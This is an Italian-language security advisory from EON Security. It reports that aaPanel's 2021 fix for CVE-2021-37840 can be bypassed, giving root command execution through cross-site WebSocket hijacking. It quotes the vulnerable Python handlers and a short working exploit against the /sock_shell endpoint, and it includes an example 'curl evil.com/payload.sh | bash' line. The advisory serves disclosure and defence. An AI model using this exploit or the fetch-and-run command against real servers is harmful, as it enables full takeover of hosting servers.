
aaPanel WebSocket CSRF Bypass che porta a RCE (Correzione incompleta per CVE-2021-37840)
Una correzione incompleta per CVE-2021-37840 espone ancora 3,6 milioni di server a RCE come root, 5 anni dopo
Scoperto da: EON Security
CVE: Assegnazione in sospeso
CVSS: 8.8 (Alto) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Interessati: versioni di aaPanel 6.8.12 fino a 7.65.0 (ogni versione successiva alla correzione del 2021)
Base installata: oltre 3,6 milioni di server
Nel 2021, una vulnerabilità di Cross-Site WebSocket Hijacking (CVE-2021-37840) è stata divulgata in aaPanel, un pannello di controllo hosting gratuito in esecuzione su oltre 3,6 milioni di server. Il vendor ha aggiunto un controllo del token CSRF per "correggerla".
La correzione era architettonicamente sbagliata.
Invece di rifiutare le connessioni WebSocket non autenticate a livello HTTP (restituendo 401), la correzione consente il passaggio di ogni connessione (restituisce 101 Switching Protocols) e controlla l'autenticazione solo all'interno dell'handler, dopo che il WebSocket è già stato stabilito. Il controllo CSRF aggiunto può essere aggirato in molteplici modi.
EON Security ha scoperto che, 5 anni dopo, ogni versione di aaPanel è ancora vulnerabile alla stessa classe di attacco.
Questo è solo il 10° CVE in assoluto assegnato ad aaPanel nella sua storia di oltre 6 anni.
Se gestisci aaPanel, ecco cosa può farti un attaccante:
Scenario 1: Un amministratore clicca su un link dannoso
curl http://evil.com/payload.sh | bash — quel comando viene eseguito come root sul tuo serverBasta un solo clic. Un clic sbagliato e l'attaccante possiede tutto.
Scenario 2: Una chiave API trapela
Questo è il problema più grande. La protezione CSRF non si applica affatto alle richieste autenticate tramite API. È stata progettata per controllare le connessioni basate su browser, ma il percorso del codice per l'accesso API lo bypassa completamente.
In entrambi i casi, 3,6 milioni di server sono coinvolti. Ogni versione successiva al 2021.
g.api_request=True (richieste autenticate tramite API) e g.is_aes=True (richieste crittografate AES) saltano completamente il controllo/sock_shell esegue comandi arbitrari — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh accetta credenziali SSH fornite dall'attaccante — connettersi a qualsiasi host SSHTutti gli endpoint WebSocket restituiscono HTTP 101 Switching Protocols prima di qualsiasi controllo di autenticazione. Il controllo di autenticazione comm.local() viene eseguito all'interno dell'handler, dopo che l'upgrade WebSocket è già stato completato:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Endpoint interessati:
/webssh (proxy terminale SSH)/sock_shell (esecuzione diretta di comandi)/ws_panel (gestione pannello)/ws_home (dashboard)/ws_project (gestione progetti)/ws_model (gestione modelli)/workorder_client (sistema di ticket)/v2/* varianti di tutti i precedentiLa funzione check_csrf_websocket() è progettata per prevenire il Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Esistono due condizioni di bypass nette:
g.api_request: quando è True (impostato durante l'autenticazione con chiave API), il controllo CSRF viene completamente saltato. Qualsiasi sessione WebSocket autenticata tramite API bypassa questa protezione.g.is_aes: quando è True (impostato durante richieste API crittografate AES), anche il controllo CSRF viene saltato.Il confronto dei token (get_csrf_sess_html_token_value()) restituisce session.get('request_token_head', ""). Nelle sessioni in cui questo valore non è ancora inizializzato, un x-http-token vuoto supera il controllo.
L'endpoint /sock_shell passa stringhe fornite dall'attaccante direttamente a subprocess.Popen con shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Ogni messaggio ricevuto sul WebSocket viene eseguito come comando shell. L'output viene restituito in streaming tramite WebSocket. Poiché aaPanel gira come root, si tratta di compromissione totale del sistema.
L'endpoint /webssh accetta parametri di connessione SSH forniti dall'attaccante dal primo messaggio WebSocket:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Se l'host è 127.0.0.1 o localhost, l'handler controlla nel database eventuali credenziali salvate, oppure usa quelle fornite dall'attaccante.
Il percorso di sfruttamento principale è CSWSH (Cross-Site WebSocket Hijacking) che richiede l'interazione dell'utente:
wss://victim-panel:8888/sock_shellcomm.local() supera l'autenticazione (cookie di sessione valido){"x-http-token": ""} oppure sfrutta i percorsi di bypass API/AESPercorso alternativo tramite compromissione della chiave API:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
PoC completo: exploit.py
Usa lo script check.py per verificare se un'istanza aaPanel ha endpoint WebSocket vulnerabili:
python3 check.py https://target:8888
g.api_request e g.is_aes non dovrebbero saltare la protezione CSRF| Data | Evento |
|---|
Yadav — EON Security
Sito web: https://eonsecurity.co.za
Questo contenuto è concesso in licenza MIT. Il PoC è fornito esclusivamente a scopo educativo e difensivo.
| Endpoint | Funzione | Impatto |
|---|
/webssh | Proxy terminale SSH | Connettersi a host SSH arbitrari con credenziali dell'attaccante |
/sock_shell | Esecuzione diretta di comandi | RCE come root tramite comandi shell |
/ws_panel | Gestione pannello | Accesso ai dati del pannello |
/ws_home | Dashboard | Accesso ai dati della dashboard |
/ws_project | Gestione progetti | Accesso ai dati dei progetti |
/ws_model | Gestione modelli | Accesso ai dati dei modelli |
/workorder_client | Sistema di ticket | Accesso ai dati dei ticket |
/v2/* | Tutte le varianti v2 | Come sopra |
| 2021-08-02 | CVE-2021-37840 divulgata (aaPanel CSWSH) |
| 2021 | Il vendor aggiunge check_csrf_websocket() come correzione |
| 2026-06-23 | EON Security scopre che la correzione è incompleta |
| In sospeso | Assegnazione CVE |
| In sospeso | Divulgazione pubblica |